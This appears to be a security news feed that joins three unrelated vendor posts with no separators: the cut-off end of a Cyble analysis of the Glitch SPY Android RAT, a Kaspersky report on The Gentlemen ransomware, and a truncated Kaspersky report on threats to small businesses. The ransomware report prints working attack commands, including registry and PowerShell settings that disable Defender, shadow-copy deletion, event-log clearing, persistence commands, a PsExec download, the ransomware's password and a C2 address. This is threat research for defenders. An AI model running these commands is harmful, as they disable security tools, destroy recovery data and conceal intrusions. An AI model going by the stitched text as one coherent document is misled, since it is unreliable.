prompt_permission_notifications	Opens or triggers the Android notification permission flow.
prompt_permission_storage	Opens or triggers the storage permission flow.
prompt_permission_location	Opens or triggers the location permission flow.
prompt_permission_battery	Opens the battery optimization exemption flow.
prompt_permission_all_files	Opens the “All files access” permission screen.
activate_device_admin	Launches or triggers Device Admin activation for the malware.
deactivate_device_admin	Attempts to remove Device Admin rights from the malware.
block_biometric	Enables/disables biometric prompt suppression to force PIN/password fallback.
wake_screen	Wake the victim's device screen.
lock_device	Locks the device screen
hide_screen	Hides the visible device screen from the victim's side
hide_app	Hides the malware application icon or disables its launcher component.
show_app	Restores the malware application launcher component.
self_uninstall	Attempts to uninstall the malware from the device.
uninstall_app	Attempts to uninstall a specified application from the device.

Screen Capture and Live Streaming

Glitch SPY can remotely view the victim’s screen and interact with the device in near real time.

When the TA issues the request_screen_stream command from the C&C panel, the malware initiates its screen capture module and begins sending screen frames back to the server as screen_frame messages.

The TA’s panel includes options to control stream quality, FPS, and scale, indicating that the stream can be adjusted based on device state and network conditions.

For a one-time capture, the TA can use request_screenshot, which instructs the malware to capture the device's screen and return the image to the C&C. When visual streaming is unavailable or insufficient, the user can use request_screen_reader_text, which abuses the Android Accessibility Service to extract visible text from the active screen.

This allows the malware to collect sensitive information displayed in banking applications, messaging apps, OTP prompts, browser pages, and authentication screens.

In addition to visual monitoring, this capability supports hands-on fraud activity. By combining live screen streaming with Accessibility-based remote input, the TA can observe the victim’s device, understand the active application context, and perform follow-up actions such as tapping buttons, entering text, navigating screens, or capturing credentials.

File Manager and File Encryption

Glitch SPY includes a remote file manager that allows the TA to browse, retrieve, modify, and manipulate files on the infected device. When the TA sends request_file_list, the malware lists files and folders from the requested directory and returns the results to the C&C as a file listing.

If the TA selects a file for exfiltration, the malware reads it and sends it back to the server. For folders, the malware compresses the selected directory before exfiltration, making it easier for the TA to retrieve multiple files.

Glitch SPY also includes file encryption and decryption functionality through the file_crypto_lock and file_crypto_unlock commands. When file_crypto_lock is issued, the malware encrypts the selected file using AES/GCM/NoPadding, creates an encrypted .enc version, and removes the original plaintext file.

The encrypted file uses the FMENC1 header followed by cryptographic metadata and ciphertext. If standard deletion of the plaintext file fails, the malware uses a secure-delete routine that overwrites the file with random data, truncates it, syncs the file descriptor, and then attempts to delete it.

Although file encryption could be abused for extortion, the analyzed sample does not confirm an automated mass-encryption routine, ransom note, payment workflow, or victim-facing ransom screen.

Crypto Clipper Functionality

The crypto-clipper module is designed to monitor clipboard activity on the infected device and replace copied cryptocurrency wallet addresses with TA-configured addresses.

The module supports multiple wallet formats, including ETH/EVM addresses beginning with 0x, TRON/TRX addresses beginning with T, Bitcoin legacy addresses beginning with 1 or 3, and Bitcoin Bech32 addresses beginning with bc1q or bc1p. The code also includes URI-style prefixes such as bitcoin:, ethereum:, erc20:, tron:, bsc:, matic:, polygon:, arbitrum:, optimism:, base:, and ton:, indicating that the malware can detect wallet addresses copied in both plain-text and URI-prefixed formats.

When the TA issues the start_clipboard_monitor command, Glitch SPY begins tracking clipboard changes on the infected device. Before performing any replacement, the clipper module is enabled in the configuration.

If replacement is active, the malware reads the current clipboard content, extracts text from available clipboard items, removes null bytes and hidden formatting characters, normalizes whitespace, and attempts to identify a supported cryptocurrency wallet address.

If a valid wallet address is detected, Glitch SPY selects a configured replacement address from the same cryptocurrency family and ensures it is different from the victim-copied address. It then updates the clipboard using Android’s ClipboardManager.setPrimaryClip() API, replacing the victim’s original wallet address with the attacker-controlled value.

After the replacement, the malware reports the event to the C&C server, including the original address, replacement address, and detected cryptocurrency type, such as ETH/EVM, TRX, or BTC.

Remote Browser Capability

Glitch SPY’s remote browser capability allows the TA to open and control a browser session directly on the infected device. The malware receives a URL from the C&C server and loads it inside a WebView on the victim’s device. It also supports switching between mobile and desktop browsing modes, allowing the TA to control how websites render during the session.

The browser session runs in a hidden off-screen window, keeping it active without alerting the victim. After the browser session is initialized, the malware reports the session status, loaded URL, browsing mode, and window details back to the C&C server. This allows the TA to confirm that the browser session is active and ready for interaction.

The TA can further control the session using commands to navigate to URLs, click page elements, enter text, swipe through pages, send keyboard actions, and fill or clear web form fields.

When combined with screen streaming, keylogging, screen-reader extraction, clipboard monitoring, and Accessibility-based input, the remote browser capability provides a complete workflow for web-based account takeover and transaction manipulation from the infected device itself.

The feature can let attacker-controlled web activity originate from the victim’s own device rather than from external attacker infrastructure.

This means the attacker's web activity originates from the victim's IP, with the victim's cookies and any active authenticated sessions intact — making it harder for banks or crypto platforms to flag the login as suspicious.

In fraud scenarios, this may allow attackers to interact with login pages, financial portals, cryptocurrency services, email accounts, or other web applications from the victim’s environment.

Conclusion

Glitch SPY is a capable, actively developing Android threat combining surveillance, remote control, financial fraud, and account takeover within a single platform.

Its use of the established Brokewell loader for delivery, its abuse of the Accessibility Service to automate permission grants after a single user action, and its Builder, Dropper, and payload-management modules indicate a TA investing in a reusable framework rather than a one-off campaign.

The Builder's per-payload configuration options (custom name, icon, package ID, and decoy WebView URL) mean retargeting for a new region or lure requires no code changes.

While the current activity appears targeted at users searching for rental properties in Poland, one recovered APK and two identified C&C panel URLs suggest early-stage distribution. The "Coming soon" Cryptor module and active panel development indicate the platform is still expanding.

Users should avoid installing APKs from outside official app stores. The loader's first action is requesting permission to install from unknown sources; denying it stops the payload before it installs.

Any app that requests Accessibility Service or installs from unknown sources should be treated as suspicious. Keep Google Play Protect enabled.

Our Recommendations

We have listed some essential cybersecurity best practices that serve as the first line of defense against attackers. We recommend that our readers follow the best practices given below:

• Install Apps Only from Trusted Sources:
  Download apps exclusively from official platforms, such as the Google Play Store. Avoid third-party app stores or links received via SMS, social media, or email.
• Be Cautious with Permissions and Installs:
  Never grant permissions and install an application unless you're certain of an app's legitimacy.
• Watch for Phishing Pages:
  Always verify the URL and avoid suspicious links and websites that ask for sensitive information.
• Enable Multi-Factor Authentication (MFA):
  Use MFA for banking and financial apps to add an extra layer of protection, even if credentials are compromised.
• Report Suspicious Activity:
  If you suspect you've been targeted or infected, report the incident to your bank and local authorities immediately. If necessary, reset your credentials and perform a factory reset.
• Use Mobile Security Solutions:
  Install a mobile security application that includes real-time scanning.
• Keep Your Device Updated:
   Ensure your Android OS and apps are updated regularly. Security patches often address vulnerabilities exploited by malware.

MITRE ATT&CK® Techniques

Tactic	Technique ID	Procedure
Initial Access (TA0027)	Phishing (T1660)	Glitch SPY is distributed via phishing sites
Persistence (TA0028)	Event Triggered Execution: Broadcast Receivers (T1624.001)	Glitch SPY implemented a broadcast receiver for screen capturing
Defense Evasion (TA0030)	Impair Defenses: Prevent Application Removal (T1629.001)	Prevent uninstalling application
Defense Evasion (TA0030)	Hide Artifacts: Suppress Application Icon (T1628.001)	Glitch SPY hides its icon
Defense Evasion (TA0030)	Masquerading: Match Legitimate Name or Location (T1655.001)	Glitch SPY masquerades as a Polish rental application
Defense Evasion (TA0030)	Input Injection (T1516)	Glitch SPY can perform actions such as Clicks, swipes, gestures, and enter text into edit fields.
Credential Access (TA0030)	Abuse Accessibility Features (T1453)	Glitch SPY abuses Accessibility service
	Input Capture: Keylogging (T1417.001)	Glitch SPY includes a Keylogging module
Discovery (TA0032)	Software Discovery  (T1418)	Glitch SPY collects installed applications
Discovery (TA0032)	File and Directory Discovery (T1420)	Glitch SPY can enumerate files from external storage
Discovery (TA0032)	Location Tracking (T1430)	Glitch SPY can collect device location
Discovery (TA0032)	System Information Discovery (T1426)	Glitch SPY can collect device information
Collection (TA0035)	Archive Collected Data (T1532)	Glitch SPY compresses the external storage directories as a zip file before sending
Collection (TA0035)	Screen Capture (T1513)	Glitch SPY captures screen content
Collection (TA0035)	Audio Capture (T1429)	Glitch SPY can capture Audio
Collection (TA0035)	Clipboard Data (T1414)	Malware can monitor Clipboard content
Collection (TA0035)	Data from Local System (T1533)	Malware collects encrypted files from external storage
Collection (TA0035)	Protected User Data: Contact List (T1636.003)	Malware collects contact details
Collection (TA0035)	Protected User Data: SMS Messages (T1636.004)	Glitch SPY collects SMS data
Collection (TA0035)	Protected User Data: Accounts (T1636.005)	Malware collects Account information
Collection (TA0035)	Protected User Data: Call Log (T1636.002)	Glitch SPY collects Call logs
Command & Control (TA0037)	Application Layer Protocol (T1437)	Glitch SPY communicates with C2 over TCP
Exfiltration (TA0036)	Exfiltration Over C2 Channel (T1646)	Glitch SPY exfiltrates data to the C&C server
Impact (TA0034)	Data Encrypted for Impact (T1471)	Malware encrypts all the files present on the device with the .enc extension
Impact (TA0034)	Data Destruction (T1662)	Glitch SPY deletes all plain-text files after encryption

Indicators of Compromise (IOCs)

Indicators	Indicator type	Description
hxxps://tutaj-dompl[.]com/Tutajdom.apk	URL	Distribution URL
sportypointsrewards[.]com	Domain	C&C server
80af5e921cf8a3052fe4483bb2eb15953590e72ed003ac61c0b9135575c32075	FileHash-SHA256	Glitch SPY Hash
d439475bf09af7b474cdba2c19e136a1dd38e62b088537445ac3c8e4c2d3a8b1	FileHash-SHA256	Brokewell Loader

The post Glitch SPY: An Emerging Android RAT Distributed Through a Fake Polish Rental App appeared first on Cyble.

Introduction

This year saw the emergence of The Gentlemen, a prominent example of a group operating under the ransomware-as-a-service (RaaS) model. Although our initial assessment suggested the group first appeared in mid-2025, it actually started ramping up its activities at the beginning of 2026. According to public reports, in the first half of 2026, this group ranks among the top 10 ransomware actors by the number of victim announcements on its data leak site (DLS).

We have been observing the activity of The Gentlemen since February 2026 and have discovered new tactics, techniques, and procedures (TTPs) as well as custom tool development efforts, as they target large corporations and critical infrastructure worldwide. In our research, we have uncovered the group’s methods of reconnaissance, network sniffing, and many other techniques that have not been publicly described before by the wider community.

Technical details

Initial infection vector

The Gentlemen group and its affiliates usually get into victim systems by exploiting vulnerabilities in online services and using stolen or weak login credentials, as reported by multiple cybersecurity vendors. They often target devices like hardware VPNs and firewalls that are exposed to the internet, and use leaked or default credentials to gain access.

We believe the group is likely collaborating with other actors or initial access brokers (IABs) to gain access to the target organizations. While they often deploy ransomware within a few hours after initial access is obtained, our analysis of several attacks revealed some cases, in which access to the victim’s system had been established long before the ransomware was deployed. These cases involved tactics that are not typically associated with the group. This suggests that the initial breach may not have been executed by The Gentlemen at all, but rather by another group or an initial access broker.

Reconnaissance

Our investigation reveals that The Gentlemen conduct thorough internal reconnaissance using tools like SharpADWS, NetScan, Advanced IP Scanner, and netsh to map the target environment and identify vulnerabilities. SharpADWS is used to gather detailed Active Directory information, including domain object enumeration, and can bypass standard logging by wrapping LDAP queries in SOAP messages. The group also uses NetScan and Advanced IP Scanner to scan the network, discover active ports and services, and identify potential vulnerabilities, ultimately gaining a deeper understanding of the network and establishing remote control over identified systems.

Microsoft’s netsh tool is used to capture network packets and gather intelligence, executing the command cmd.exe /Q /c netsh trace start capture=yes report=no filemode=circular overwrite=yes maxSize=4 > \<target IP>\ADMIN$\{RANDOM-FILE-NAME} 2>&1 to start the capture, and cmd.exe /Q /c netsh trace stop > \<target IP>\ADMIN$\{RANDOM-FILE-NAME} to stop it.

The captured data is saved to a shared administrative folder with a random name, and can be analyzed with tools like Wireshark to reveal sensitive information such as unencrypted network activity and potential passwords, which the attackers then use to conduct targeted ransomware attacks.

Lateral movement

The Gentlemen group leverages the NETLOGON share to distribute the ransomware executable to connected computers, enabling simultaneous attacks on multiple devices. To facilitate lateral movement, they use a customized PowerShell script, deploy_gpo.ps1, with specific parameters and variables for each target system. Additionally, they employ PsExec to remotely execute the ransomware binary on targeted systems, providing an alternative method for spreading the infection when the GPO-based approach is not feasible.

Disabling security products

The Gentlemen group uses various methods to disable security software on targeted computers, including the BYOVD technique. This involves installing a vulnerable driver and exploiting its weakness to shut down security software, gain unrestricted access, and launch ransomware attacks. We observed the following vulnerable drivers used in the group’s attacks.

Driver name	Description
ProcessMonitorDriver.sys	Safetica DLP and EDR driver
wamsdk.sys	WatchDog anti-malware driver
gamedriverx64.sys	Fedeen/Hotta studio anti-cheat driver
biontdrv.sys	Paragon partition manager driver
inpoutx64.sys	A legacy driver involved in managing RGB lighting
wsftprm.sys	Topaz anti-fraud software driver
Havoc.sys	Huawei audio driver

The Gentlemen group also uses specialized tools, including Windows Kernel Explorer and OpenArk64, to disable security software. These tools can intercept and block system calls, and even remove security drivers, allowing the attackers to bypass security measures and remain undetected.

Besides this, the group employs simple methods to disable security software, such as using kavrmvr.exe to uninstall Kaspersky Antivirus, which is prevented by the product’s behavioral detection, and modifying Windows registry settings to disable Windows Defender’s real-time protection.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]
"DisableBehaviorMonitoring"=dword:00000001
"DisableOnAccessProtection"=dword:00000001
"DisableScanOnRealtimeEnable"=dword:00000001

Last but not least, the attackers attempt to disable Windows Defender’s real-time monitoring and ransomware protection, and add itself to the exclusion list, by executing multiple PowerShell cmdlets, as observed in the Go implant, which we’ll analyze later in this post:

Set-MpPreference -DisableRealtimeMonitoring $true -Force
Set-MpPreference -EnableControlledFolderAccess Disabled -Force
Add-MpPreference -ExclusionProcess <file_name>
Add-MpPreference -ExclusionPath 'C:\\'

Go-based backdoor

We observed a custom-made implant, written in Go and deployed a day before the ransomware attack, which acted as a backdoor, enabling remote command execution. The implant collected system information (hostname, domain name, UUID, and local IP addresses) and organized it into a JSON format using a map structure with keys like name, domain, uuid, and localIPs. To obtain the system’s UUID, it used the WMI query "SELECT UUID FROM Win32_ComputerSystemProduct". It then used the Yamux library to establish a persistent bidirectional TCP connection with the C2 server at 81.177.215[.]15:9443. It sent the collected system info to the C2 and waited for operator responses, executing commands using cmd.exe /c if the response byte was 'c', or establishing a SOCKS proxy connection if the byte was 's'. This functionality likely enables The Gentlemen’s red team to pivot within the target network and expand their scan coverage.

Given the backdoor implant’s capabilities, such as establishing two-way communication, executing commands, setting up a SOCKS proxy, and gathering information, it’s clear that it can also be used to expand the attack chain as needed. In one incident, soon after the initial connection was made, we saw the server send reconnaissance commands, including:

whoami
net  group \"Domain Admins\" /domain
net group
dir c:\\
cd c:\\

Go-based ransomware

The most widespread version of the ransomware binary, written in Go, emerged in mid-2025 and has been used in most attacks since then. It features a previously unknown Go obfuscator that renames symbols, source code files, and structures, and alters function signatures, making analysis more difficult. The binary also contains embedded parameters with descriptions, indicating a sophisticated tool. The parameters are listed in the following table:

Parameter	Description
--password	Access password required to run the ransomware, acts as an anti-sandbox technique
--path	Comma-separated list of target directories to be encrypted
--T	Delay before the encryption starts, specified in minutes
--system	A flag to run as SYSTEM, encrypting only local drives
--shares	A flag to encrypt only mapped network drives
--full	A flag that combines --system and --shares
--spread	Lateral movement flag using specified domain credentials (“domain.com\user:pass”) or a single space (” “) to leverage the current session
--gpo	A flag to deploy via Group Policy to all domain computers (designed to be executed on a Domain Controller)
--silent	Silent mode: skips renaming files, modifying file update times after encryption, and changing the wallpaper
--keep	A flag that prevents the executable from self-deleting after the encryption process completes
--wipe	A flag that enables wiping free disk space after encryption
--no-admin	A flag to force execution without administrative privileges
–fast	Speed flag that restricts processing/encryption to 9 percent of the file
–superfast	Speed flag that restricts processing/encryption to 3 percent of the file
--ultrafast	Speed flag that restricts processing/encryption to 1 percent of the file

Automated system execution prevention

The Go variant of the ransomware is designed to avoid detection and prevent analysis. To execute, it requires a password, currently set to CbdU8EgF. This password acts as a barrier to prevent the binary from running in sandbox or automated environments. If the incorrect password is entered or no password is provided, the binary will terminate.

Lateral movement through GPO deployment

When the --gpo parameter is used, the ransomware spreads to other computers on the network through Group Policy. To do this, it generates PowerShell commands based on the target environment, writes them to a file called deploy_gpo.ps1 in the %temp% folder, and executes it.

The resulting script allows the attackers to quickly spread the ransomware across the entire company network. It starts by finding the Domain Controller and loading tools to control it. Then, it copies itself to the NETLOGON network folder to become accessible to all computers.

To prevent the attack from being blocked, the script creates a fake system update policy that disables Windows Defender. It does this by changing the DisableRealtimeMonitoring setting to 1 on all connected computers, thereby disabling real-time scanning and security features. The script also sets up a hidden task by creating a ScheduledTasks.xml file in the SYSVOL directory and modifies the Active Directory property gPCMachineExtensionNames to register the malicious XML file. Finally, the script forces all computers on the network to update their rules immediately by running the gpupdate /force command, causing all computers to download and run the ransomware simultaneously.

Lateral movement through PsExec

In addition to spreading through Group Policy, the ransomware also uses PsExec for lateral movement when the --spread parameter is provided. If PsExec is absent on the target system, it downloads the tool using the following command:

powershell.exe -Command "Invoke-WebRequest -Uri 'https://live.sysinternals[.]com/PsExec.exe' -OutFile 'C:\Temp\psexec.exe'"

The ransomware then performs a thorough scan of the domain by installing and using Remote Server Administration Tools (RSAT) through a PowerShell cmdlet. If the PowerShell commands fail, it uses the NetServerEnum API instead.

try { 
    Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" -ErrorAction Stop 
} 
catch {}

try { 
    DISM.exe /Online /Add-Capability /CapabilityName:"Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" 
} 
catch {}

try { 
    Install-WindowsFeature RSAT-AD-PowerShell -ErrorAction Stop 
} 
catch {}

try { 
    Import-Module ActiveDirectory -ErrorAction Stop
    Get-ADComputer -Filter * | Select-Object -ExpandProperty Name 
} 
catch {}

Once it has obtained a list of all computers on the domain, the ransomware checks if each computer is active by pinging it with the command ping.exe -n 1 -w 500 {target}. If a computer is found to be active, the ransomware uses PsExec to spread to that computer.

Pre-encryption activities

Before starting to actually encrypt files, the ransomware attempts to stop any active Hyper-V virtual machines, allowing it to encrypt the virtual disk files. It uses PowerShell commands to achieve this, including:

Get-VM | Stop-VM -Force -TurnOff
Get-VM | Where-Object State -eq 'Running' | Stop-VM -Force -TurnOff

The ransomware also terminates specific processes using taskkill.exe and disables and stops certain services using sc.exe. The lists of processes and services are quite long and include various popular software, such as Microsoft Office instances, database management interfaces, remote management software, backup applications and more.

After stopping and terminating all the services and processes from the lists, the ransomware ensures its persistence on the system by:

• Deleting and recreating a scheduled task called “UpdateUser” to run the ransomware on startup
• Adding a registry key to run the ransomware on startup

The commands used for this are:

schtasks.exe /Delete /TN "UpdateUser" /F
schtasks.exe /Create /SC ONSTART /TN "UpdateUser" /TR "<ransomware_path>"
reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GupdateS" /t REG_SZ /d "<ransomware_path>" /f

Encryption process

After completing its preparations, the ransomware begins encrypting files using a hybrid encryption algorithm that combines Curve25519 and the XChaCha20 stream cipher. For each file to be encrypted, it generates a Curve25519 key pair and computes a shared secret with the attacker’s public key embedded in its code and encoded in Base64 as HvzC6Dq/siFthWSgE5ozZyQDu9cyxIoxb3NuRHI6pDM=.

Before encrypting the files, the ransomware changes the file access permissions to “Everyone” and gains full administrative access by overriding the file’s Access Control List (ACL) and Access Control Entry (ACE) using the following commands:

• takeown.exe /f <target_file> /d y
• icacls.exe <target_file> /grant *S-1-1-0:F

The ransomware also includes a list of blacklisted directories, files, and extensions to prevent encryption of essential system components.

As the encryption process begins, the ransomware creates a file named README-GENTLEMEN.txt in each directory, containing the ransom note with the victim ID, Tox ID, and Data Leak Site address. If the --silent parameter is not provided, it also changes the desktop wallpaper to The Gentlemen’s embedded image.

After completing its operations, the ransomware may delete free space on the system to hinder data recovery attempts if the --wipe parameter is provided. Additionally, it may delete itself if the --keep parameter is not provided.

Regardless of provided parameters, it also deletes various system files and logs to cover its tracks, using commands such as:

vssadmin.exe delete shadows /all /quiet
wmic.exe shadowcopy delete
wevtutil.exe cl System
wevtutil.exe cl Application
wevtutil.exe cl Security

Additionally, it deletes files from various directories, including:

cmd.exe /C del /f /q C:\Windows\Prefetch\*.*
cmd.exe /C del /f /q C:\ProgramData\Microsoft\Windows Defender\Support\*.*
cmd.exe /C del /f /q %SystemRoot%\System32\LogFiles\RDP*\*.*
cmd.exe /C rd /s /q C:\$Recycle.Bin

C-based ransomware

As The Gentlemen’s operations have extended, multiple researchers from different information security vendors have identified two ransomware implant versions: the cross-platform Go variant described above and a C-based ESXi locker for Linux. Our investigation has also uncovered a new, still-in-development C implant, currently limited to Windows.

This new ransomware variant has been observed in a limited number of attacks on organizations. While the overall malware structure remains similar to the Go variant we have described, the encryption algorithm has undergone significant changes, suggesting The Gentlemen group is expanding its capabilities. We believe this variant is still in development and being tested on a small subset of victims, with several parameter options, outlined below.

Parameter	Description
--password	The ransomware needs a password to execute, which is meant to prevent execution on automated systems
--remove	The ransomware removes itself after the encryption process has been finished
--T	Sleep time before encryption, in seconds
--ex	Likely stands for excluded objects (not implemented)
--fast	Encryption speed option (not implemented)
--superfast	Encryption speed option (not implemented)
--ultrafast	Encryption speed option (not implemented)
--silent	Likely silent execution (not implemented)
--system	Execute with system privileges. Could be used to encrypt local disks, as in the Go variant, but at the time of writing this article, there isn’t sufficient data to support this.
--shares	Encrypt the shares connected to the system (not implemented)
--full	Full encryption (not implemented)
--path	Directory list to be encrypted

As can be seen from the parameter list, some of the parameters are not yet implemented. We anticipate that this variant will mature and likely be increasingly used in future attacks. Notably, the C variant uses smaller denylists of files, directories and extensions compared to the Go variant, which further suggests that this version of the ransomware is still in development. For example, the list of files that should not be encrypted, contains only three items, one of which is the group’s ransom note.

To execute with elevated privileges when receiving the --system parameter, the implant creates a scheduled task called “TaskSystem” using the command schtasks /create /sc DAILY /tn "TaskSystem" /tr "cmd /C cd %s && %s" /st 20:00 /ru system > nul. It then runs the task with elevated privileges using schtasks /run /tn TaskSystem > nul. If “TaskSystem” exists in the target system, the ransomware first deletes it using schtasks /delete /tn TaskSystem /f > nul, before creating a new one with the same name.

If the ransomware lacks sufficient privileges to access a file, it attempts to modify the file’s ACL by granting FULL_CONTROL permission and setting a new EXPLICIT_ACCESS_A structure using the SetEntriesInAclA API call.

For encryption, the ransomware uses the OpenSSL library, which is statically linked to the binary. Unlike the Go variant, this variant uses the AES256-GCM + RSA encryption scheme. It generates a random 32-byte key and a 16-byte initialization vector (IV) for each file, creating a 48-byte buffer. This buffer is then encrypted using a hardcoded RSA public key and appended to the file. The file’s contents are encrypted with AES256-GCM and written after the encrypted key and IV.

After encrypting all files in a directory, the ransomware decodes a byte array using single-byte XOR decryption and creates a file named !-READ-ME—-GEN-TLE-MEN-!.txt in the directory. It then writes the decoded byte array, which contains the ransom note, to the file.

The ransom note in this version of the ransomware reveals a difference from earlier Go versions: communication with the operators is now conducted via email rather than through Tox Messenger.

After completing the encryption process, the ransomware attempts to clear logs from various event log categories, including System, Forwarded Events, Application, and Setup, using the EvtClearLog API. However, it appears that there may be an error in the event log clearing process, as the category "S" is not a valid default entry for an event log category, suggesting a possible typo or missing parameters.

Victims

The Gentlemen target a wide range of industries worldwide, including manufacturing, IT services, healthcare, financial services, construction, and logistics. Observed intrusions span several regions, with Brazil, China, Indonesia, Taiwan, and Thailand among the most heavily targeted countries and territories according to our telemetry.

Attribution

We have high confidence in attributing the observed activities to The Gentlemen group and its affiliates. This attribution is based on several key factors, including the consistent use of the group’s name, associated email addresses, and Data Leak Site within the binaries and ransom notes.

Conclusion

The Gentlemen group is rapidly gaining traction in the ransomware landscape, recruiting affiliates and executing high-profile attacks. Their adaptability is evident in the emergence of a C-based ransomware variant, a Go-based backdoor enabling remote command execution, and customized scripts tailored to specific targets. Recent data leaks exposing internal communications and operational plans suggest the group will continue to engage in malicious activity. Organizations are advised to prioritize vulnerability management and system hardening to reduce the risk of compromise.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

Go ransomware

3B46A729DB7AE6AF8B19711C9452194D        locker_eryoo5_windows_amd64
02944C8A5535CDB5B2CBB893DB2D5ACF     locker_lqy8xb_windows_amd64.exe
10CA9A4040001560D053B7E7885C1B95     locker_28f3cl_windows_386.exe
3C471EBC947CDF32240A90FFADF49B13     locker_aga19g_windows_amd64.exe
4BE8BB62F0EBBCF4CE52C35AB6F794F5     locker_wh54td_windows_386.exe
53C616677BC7E2A0A03127F19166D007     locker_p663zs_windows_amd64.exe
5C3B9821FC82A9028CB63B9671950919     locker.exe
5F0B2C6D9F442754258BF4DD841C8341     locker_t1zged_windows_amd64.exe
608FAF58353B65C45EF9833358AC3787     locker_u90lyt_windows_amd64.exe
6AE7C9A7EA0B8C40A64225734F6BD01D     gentle.exe
846DC77C1246DB20D976346E0E359502     locker_p663zs_windows_386.exe
ADAC9984B3CC43D66A0D33079BBEC299     UcAaJ_o_1j9srso9a14071ps4p7s3f81s1b
AE0E536766788478263BF448A9381641     cosmo.exe
B3E418D30312C1B2C58A791286868F42     system_386.exe
C2764744DCB4B0E1DB79CA1E8BF65368     getlwd.exe
D12A5B36DD00586CC374A1CAE43EFED4     locker_c65ffp_windows_amd64.exe
D2F72897E8986303D5567EB2384932B8     UcAaJ_o_1j9srso9a14071ps4p7s3f81s1b
DE1522F9219497632F30F8A6E72F26B6     locker_c7ekh7_windows_amd64.exe
FDAE2BEB813778B4540A997706862096     AIR.exe

C-based ransomware

B9986A0F1F1F1A798DC3F0C59A80A1A3        fin.exe

Backdoor

554E699C96B332468F1AE69C1AE81EF9        sihost.exe

Vulnerable drivers

5761BD63DA03686FC480245DA7BD1E9F        processmonitordriver.sys
B6B51508AD6F462C45FE102C85D246C8        wamsdk.sys
8F0577D28C4FF5F71B149F444BFABA8E        gamedriverx64.sys
525EF6014F0EF20E44FE47C1D9980B69        biontdrv_wink.sys
407B6A136BBAA7172EB44EF9D08BB58A        biontdrv_winbs.sys
9321A61A25C7961D9F36852ECAA86F55        inpoutx64.sys
73F0A8C3EA794A04E80C32038249F044        wsddprm.sys
EEF8A950952696B018AA9C6DA2F5D7AD        havoc.sys

Scanning tools

EDB1C480295250DD1A38F3AA1357DEAE        netscan64.exe
5537C708EDB9A2C21F88E34E8A0F1744        Advanced_IP_Scanner_2.5.4594.1.exe

File paths

\\Netlogon\
C:\Sharing
C:\Temp
C:\Netlogon
C:\Windows\sysvol\domain\scripts\
%TEMP%
%User%\Downloads
%User%\Desktop

Domain and IPs

81[.]177[.]215[.]15    Backdoor C2

Small and medium-sized businesses (SMBs) remain attractive targets for cybercriminals – in both mass cyberattacks and sophisticated campaigns targeting larger enterprises through trusted relationship attacks. At the same time, smaller businesses may lack the robust cybersecurity policies and necessary resources to protect themselves against an evolving threat landscape.

Kaspersky believes that raising awareness can help small and medium-sized enterprises develop an effective protection strategy. Ahead of International SMB Day on June 27, Kaspersky presents the findings of its 2026 threat analysis for SMBs, which includes real-world examples of attacks.

Key findings

• In the first four months of 2026, Kaspersky solutions detected over 33,300 cyberattacks on SMBs masquerading as popular artificial intelligence (AI) tools – almost five times more than in 2025 and 39% more than the number of attacks disguised as the office and collaboration tools that Kaspersky’s research focuses on.
• Popular messengers and communication services remained the attacker’s most widespread lure, with almost 415,000 attacks involving fake messenger apps and video conferencing software.
• The attackers follow trends: the AI tools Claude and OpenClaw (ex-ClawdBot/MoltBot), which have gained popularity in 2026, were among the common AI lures.
• Fraudsters use fake AI tools to scam businesses out of money, while corporate accounts on social media also remain targets.
• The majority of initial accesses to corporate infrastructures sold on the dark web are allegedly accesses to SMBs. This could be because SMBs tend not to be as well protected as large enterprises and, at the same time, may be trusted contractors for those well-protected enterprises.

Malware and potentially unwanted applications (PUAs) disguised as popular services

Kaspersky researchers used data from Kaspersky Security Network (KSN) to explore how frequently malicious and unwanted files are disguised as legitimate applications that may be used by SMBs. KSN is a system for processing anonymized cyberthreat-related data shared voluntarily by Kaspersky users. For this part of the report, only anonymized data received from users of Kaspersky solutions for SMBs were analyzed.

According to a survey by the Small Business & Entrepreneurship Council (SBE Council), small business owners continue to embrace artificial intelligence and digital transformation as they maintain a generally positive outlook on the economy. Threat actors are also aware of the hype surrounding AI and exploit it for their own benefit. In particular, they actively distribute cyberthreats under the guise of popular AI services.

From January to April 2026, Kaspersky solutions detected 33,352 attacks on SMB users in which malware or potentially unwanted applications for PCs were disguised as five popular AI services. This figure represents an increase of almost five times compared to the previous year. This highlights an evolving trend in which threat actors are weaponizing trust in widely used AI platforms and services, especially popular ones like Claude. Kaspersky experts note that it’s important to download apps from official sources and to verify which apps are available for which platforms.

Share of attacks targeting SMBs in which malware or PUAs mimic the five popular, legitimate AI apps that Kaspersky’s research focuses on, first four months of 2025 and 2026 (download)

In the first four months of 2026, Kaspersky researchers also identified more than 1,100 unique samples of malware and PUAs detected in the SMB sector that masqueraded as five popular AI applications, representing a 21% increase compared to the same period of 2025. The samples were mainly different types of Trojware (Trojans and Trojan-like malware), including those capable of downloading and running other malware on compromised devices. Trojware disguises itself as harmless files to trick users into installing them. Their functionality may vary depending on the particular type of Trojware. This may include stealing, deleting, blocking, modifying or copying users’ data, as well as other malicious actions. Trojware therefore represents a highly dangerous cyberthreat to entrepreneurs and businesses.

Kaspersky experts also note that the threat landscape is constantly evolving with new lures appearing all the time. For example, in the first four months of 2026, Kaspersky solutions blocked hundreds of attacks in which malware or PUAs for PCs were disguised as OpenClaw (previously known as Clawdbot or Moltbot).

Other lures for SMBs: Fake communication apps and office software

Kaspersky analysts also explored how attackers leverage other legitimate applications as lures to target SMBs. For example, from January to April 2026, Kaspersky solutions blocked 414,736 attacks on SMB users in which malicious software or PUAs for PCs were disguised as the popular communication apps that Kaspersky’s report focuses on. The number of attacks changed marginally compared to the previous year’s figure, indicating that the lure of fake communication apps remains a serious cyberthreat.

Share of attacks targeting SMBs in which malware or PUAs mimic the four legitimate communication apps covered by Kaspersky’s research, first four months of 2025 and 2026 (download)

Various fake office applications and collaborative platforms also remain among the lures that attackers may exploit to target SMBs. According to Kaspersky telemetry, more than 24,000 attacks were detected from January to April 2026 in which malware or PUAs for PCs were disguised as specific office applications.

